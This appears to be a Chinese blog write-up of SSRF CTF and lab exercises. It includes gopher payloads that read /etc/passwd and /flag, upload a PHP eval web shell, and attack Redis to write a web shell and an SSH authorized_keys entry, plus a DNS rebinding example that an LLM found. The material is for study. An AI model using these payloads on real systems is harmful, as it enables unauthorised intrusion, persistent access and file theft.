SSRF小记
漏洞简介
服务端请求伪造(Server Side Request Forgery, 服务端请求伪造)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。换句话说就是,你攻击的服务器替你发送了一条请求(使用协议不一定是HTTP协议)。
支持协议
常见的协议有HTTP、FILE、DICT、GOPHER,但是在JDK8之后默认不支持GOPHER协议,所以SSRF漏洞在java中可利用面更小。而CTF中关于SSRF题目大部分是由PHP语言编写的,下面也以php程序做为例子介绍。
FILE协议
https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/jj710207(v=vs.85) 这个页面是微软对file协议的简单介绍
file协议其实我们经常简单,比如在windows中的浏览器里访问一个文件。注意:可以使用“|”替换驱动器符号后面的“:”。
file:///D:/lucifer.txt
file://localhost/D:/lucifer.txt
file:///D|/lucifer.txt
上面的file uri都可以访问到D盘中的lucifer.txt文件,在SSRF漏洞中常用file协议来读取一些本地文件。
GOPHER协议
https://github.com/tarunkant/Gopherus Gopherus是一个用来生成gopher url payload的工具
gopher是一种通信协议,旨在在Internet协议网络中分发,搜索和检索文档。由于其不合理的设计最终被HTTP协议取代。
gopher协议的URL格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
gopher协议可以将后接的TCP数据流发送到指定程序,这就提高了SSRF攻击性。gopherus用来生成SSRF的payload。
华为杯-WEB-Inner
环境地址:https://github.com/N0boy-0/vulenv/tree/main/WEB-inner
环境是用docker搭建,之后尝试访问index.php
,发现直接跳转到url.php?url=https://www.baidu.com/
,第一感觉肯定是SSRF。
我直接访问http://ctf.luc1fer.cn/url.php?url=http://127.0.0.1/
还是显示you can't get flag
,应该是ban了127.0.0.1
,然后换成127.0.0.2
然后访问http://ctf.luc1fer.cn/url.php?url=http://127.0.0.2/%3Fstr%3Ds878926199a
得到url.php
的源码
这里没有禁用gopher协议,在比赛的时候已经知道用gopher协议向index.php发POST包evil=/flag,就可以得到结果了。但是非常诡异的是,在比赛的时候我构建了很多次都无法成功,直到最后我也非常不解,因为当时不能连外网,所以在比赛中也没有构造出正确的攻击载荷,回来之后便开始赛后复盘。
当时构造的payload:gopher://127.0.0.2:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.2%250D%250AContent-Length%253A%252016%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Aevil%253D/etc/passwd%250D%250A
对应的流量包是:
1 | POST /index.php |
直接访问该地址,会发现浏览器陷入长时间等待,最后返回504
后面在本地搭建起来研究的时候,发现添加Connection: close
就可以,忽然明白这是长连接的问题。成功的payload:gopher://127.0.0.2:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.2%250D%250AContent-Length%253A%252016%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AConnection%253A%2520close%250D%250A%250D%250Aevil%253D/etc/passwd%250D%250A
对应的流量包:
1 | POST /index.php |
获取flag的话就将/flag两次url编码就可以了
payload:gopher://127.0.0.2:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.2%250D%250AContent-Length%253A%252010%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AConnection%253A%2520close%250D%250A%250D%250Aevil%253D%252f%2566%256c%2561%2567%250D%250A
具体原因探究:如果不加connection头的话nginx默认会以长连接的方式建立连接,也就是说你通过SSRF发起的内部请求也是以长连接的方式,而当第一个包返回的时候,TCP连接并没有结束,所以php程序依然在等待,然后超过了nginx的最大等待时间就会结束等待,并返回504 Gateway Time-out。
验证:在nginx的配置文件中添加fastcgi_read_timeout 100
,延长等待fastcgi程序执行的时间,就可以等到正常结果:
1 | location ~ \.php$ { |
同时,还发现了另外一种解决方案
payload:gopher://127.0.0.2:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.2%250D%250AContent-Length%253A%252016%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Aevil%253D/etc/passwdA%250D%250A
对应流量包:
1 | POST /index.php |
这里其实就是在你之前的POST包后面添加任意字符,导致HTTP解析失败从而关闭连接,返回结果。
在nginx中,默认使用的是长连接,而在apache2中不加connection也是可以直接返回结果的。原因是因为apache默认的keepalive等待时间是5s。
SSRF上传文件
环境地址:https://github.com/N0boy-0/vulenv/tree/main/ssrf-post-file
这个题目没有禁用file协议,可以直接用file协议读文件file:///var/www/html/flag.php
payload:gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520224%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryFZkpjQ4ArH6OXiXv%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/131.0.0.0%2520Safari/537.36%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryFZkpjQ4ArH6OXiXv%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250D%250A------WebKitFormBoundaryFZkpjQ4ArH6OXiXv--%250D%250A
流量包如下:
1 | POST /flag.php |
其实和上面介绍的大同小异,不再赘述。
SSRF攻击redis
环境地址:https://github.com/N0boy-0/vulenv/tree/main/ssrf-redis
拿到这个环境其实可以用dict协议探测有哪些端口开放,如dict://127.0.0.1:$6379$/info
ssrf写shell
payload: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
二次url编码gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
对应的流量包:
1 | *1 |
ssrf写ssh公钥
运行的时候可以将22端口绑定到本地的其他端口,防止端口冲突。在这个环境中测试的时候要写ctf用户的ssh公钥,开启了ctf用户的远程登录
payload:gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%24569%0D%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQCwSlpGvgPDpjOWiZL7bWdK36rSQ7grQQiNV6dm3Tp8If9GJVpUdjacKXnZp28tO/RrYvuMRHl%2BvWKlStkKJA3wXRaA7kbjBlj7IuoiS3RaL7KqPEz2uwJALNXsV2MLMcAfNL0ImF2bkEMjYeIupZxZR/Rb7/EQTRYakCLx/ocjjDHd8aKcukTDOUpocdQ9sltMybIKhsOPzxH54tkz9PrTSlgPfHU%2B6BCqfBAD7e0%2BLmhqBYcmkZoD2e6Xj%2BwCqvg3IuiO1v87PrHL0T18iL1bi4RnS%2BWQ894ej/gwhiA1DK256lcfFRp2GRO54PlvDdafc/VMlim8trUSS4qxdwXJJWQ3ayQwm/ATUPA8G2jSiRSSYN//BSRKMmJ1TGO/J18GFbZ0eEjqyr1cQNuZR3sFykNCqZqlB4PwEko3ih5NmEBcWYDS8/pzxIXFg9Uq7qvf1MWunZjfY0h/2sVFm9OHg2OCf3LNEth7jBZjekRGaowqhjv9NWRHufqVxZPtv28%3D%20lucifer%40kali%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/home/ctf/.ssh/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
二次url编码:
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524569%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQCwSlpGvgPDpjOWiZL7bWdK36rSQ7grQQiNV6dm3Tp8If9GJVpUdjacKXnZp28tO%2FRrYvuMRHl%252BvWKlStkKJA3wXRaA7kbjBlj7IuoiS3RaL7KqPEz2uwJALNXsV2MLMcAfNL0ImF2bkEMjYeIupZxZR%2FRb7%2FEQTRYakCLx%2FocjjDHd8aKcukTDOUpocdQ9sltMybIKhsOPzxH54tkz9PrTSlgPfHU%252B6BCqfBAD7e0%252BLmhqBYcmkZoD2e6Xj%252BwCqvg3IuiO1v87PrHL0T18iL1bi4RnS%252BWQ894ej%2FgwhiA1DK256lcfFRp2GRO54PlvDdafc%2FVMlim8trUSS4qxdwXJJWQ3ayQwm%2FATUPA8G2jSiRSSYN%2F%2FBSRKMmJ1TGO%2FJ18GFbZ0eEjqyr1cQNuZR3sFykNCqZqlB4PwEko3ih5NmEBcWYDS8%2FpzxIXFg9Uq7qvf1MWunZjfY0h%2F2sVFm9OHg2OCf3LNEth7jBZjekRGaowqhjv9NWRHufqVxZPtv28%253D%2520lucifer%2540kali%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A%2Fhome%2Fctf%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
对应的流量包:
1 | *1 |
DNS Rebinding
环境地址:https://github.com/j3ers3/Hello-Java-Sec
在Hello-Java-Sec项目中一个被标记为安全的API存在漏洞,这是在憋硕士论文过程中的一个小实验用大语言模型发现的漏洞。在写大论文的时候,发现我还是低估了人工智能的发展速度,对于大语言模型来说识别一些简单的漏洞调用链已经是小菜一碟。如果使用MCP协议实现一些本地的工具,用Agent封装一下,感觉可以大有作为。
出现问题的代码如下图所示,这里判断了url是否以http开头,之后检验了IP是否为内网地址,如果是内网地址则返回不允许访问内网,否则去进行访问。
大语言模型的回答如下:
这里的confidence是我在prompt中指示大语言模型根据一段漏洞调用链存在漏洞的可能性来进行打分(0-10),只要confidence大于5分则为是存在漏洞的,然后利用大语言模型去生成相应的攻击代码。
其实自己分析上面的代码也很简单,判断是否为内网地址与去访问之间存在一点时间差,如果在这个时间差内,之前域名绑定的网址发生了变化,则会被攻击。
rbndr.us dns rebinding service网址提供了DNS重绑定服务,具体的效果如下所示,在隔一段时间后dns就会重新绑定。
1 | import requests |
结束语
这篇仅仅是记录了一下最近遇到的SSRF漏洞的一些情况,也算是水文一篇了,最近很长时间都没在写博客了。去年9月之后就一直在找工作了,之后就忙着写论文做实验,也就是今年4月之后才得到空闲,好好回家歇了一段时间,想着这篇博客已经拖了很久了,其实原本想介绍的内容比这些还要多,但是就先写到这里吧。